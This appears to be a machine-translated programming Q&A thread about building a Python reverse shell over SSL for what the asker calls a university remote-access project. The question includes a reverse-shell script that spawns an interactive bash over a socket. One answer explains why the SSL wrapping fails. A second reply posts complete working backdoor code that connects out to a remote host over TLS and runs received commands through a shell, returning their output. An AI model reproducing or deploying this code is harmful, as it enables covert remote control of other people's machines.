python中SSL上的反向shell
对于我的大学项目,我必须用python创建一个远程访问工具。我可以在一个简单的TCP套接字上轻松地完成这项工作,但当涉及到SSL套接字时,我会遇到问题 代码如下:python中SSL上的反向shell,python,shell,sockets,ssl,Python,Shell,Sockets,Ssl,对于我的大学项目,我必须用python创建一个远程访问工具。我可以在一个简单的TCP套接字上轻松地完成这项工作,但当涉及到SSL套接字时,我会遇到问题 代码如下: #/usr/bin/python3 import socket import ssl import subprocess import os # SET VARIABLES HOST, PORT = '127.0.0.1', 1234 # CREATE SOCKET sock = socket.socket(socket.AF_
#/usr/bin/python3
import socket
import ssl
import subprocess
import os
# SET VARIABLES
HOST, PORT = '127.0.0.1', 1234
# CREATE SOCKET
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
# WRAP SOCKET
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
sock.connect((HOST, PORT))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)
p = subprocess.call(["/bin/bash", "-i"])
当我试着用ncat--ssl-nlvp 1234
在另一端监听时,反向shell会立即连接和断开连接,什么都不会出现;如果我移除sock=ssl.wrap\u套接字(sock,ssl\u version=ssl.PROTOCOL\u SSLv23)
我会得到一个工作后门,但在纯文本套接字上
谁能给我解释一下这个问题吗?也许给我一个解决方案?TCP在操作系统内核中实现,而SSL在用户空间中实现。通过
fileno()
获得的文件描述符只是内核表示。因此,您的代码首先建立TCP连接(内核空间),然后将TCP套接字包装到SSL(用户空间)中。但是在建立SSL连接之后,您尝试直接在TCP套接字上写入,而不是根据SSL协议包装数据。这将立即导致SSL协议数据无效和连接关闭
相反,您需要创建一个子进程并在父进程和子进程之间交换数据,通常是通过将stdin/stdout映射到管道或socketpair。在父级中,您可以使用SSL套接字转发来自子级的数据,也可以在从SSL套接字读取数据后将数据推送到子级
要知道每个文件描述符(即SSL套接字和与子进程的通信)上的数据何时可用,可以使用select。请注意,在将select与SSL套接字一起使用时也必须特别小心,即简单的select对于SSL是不够的,但您必须这样做 老问题,但这是我的解决方案,正如Steffen Ullrich所说
import os
import socket
import subprocess
import ssl
# Create a socket
def socket_create():
try:
global host
global port
global ssls
global s
host = '192.168.90.45'
port = 8080
s = socket.socket()
ssls = ssl.wrap_socket(
s,
ssl_version=ssl.PROTOCOL_TLSv1
)
except socket.error as msg:
print('Socket creation error: ' + str(msg))
# Connect to a remote socket
def socket_connect():
try:
ssls.connect((host, port))
ssls.send(str.encode(str(os.getcwd()) + ' > '))
except socket.error as msg:
print('Socket connection error: ' + str(msg))
# Receive commands from remote server and run on local machine
def receive_commands():
while True:
data = ssls.recv(1024)
data = data.decode("utf-8").strip()
print('Received: ' + data)
if data[:2] == 'cd':
os.chdir(data[3:])
ssls.send(str.encode(str(os.getcwd()) + ' > '))
elif len(data) > 0:
cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes.decode("utf-8"))
ssls.send(str.encode(output_str + str(os.getcwd()) + ' > '))
if len(output_str.split('\n')) > 2:
nL = 2
else:
nL = 0
print('Sent: ' + nL * '\n' + output_str)
if not data:
break
s.close()
def main():
socket_create()
socket_connect()
receive_commands()
if __name__ == '__main__':
main()
谢谢,我知道我犯的错误了。有没有办法获取SSL文件描述符,这样我就可以用我的反向shell直接在其中写入???@Sidahmed:同样,内核文件描述符只是TCP套接字,SSL是在用户空间中实现的。生成的进程没有可用的“SSL文件描述符”,因为SSL状态仅存在于原始进程的不同用户空间中。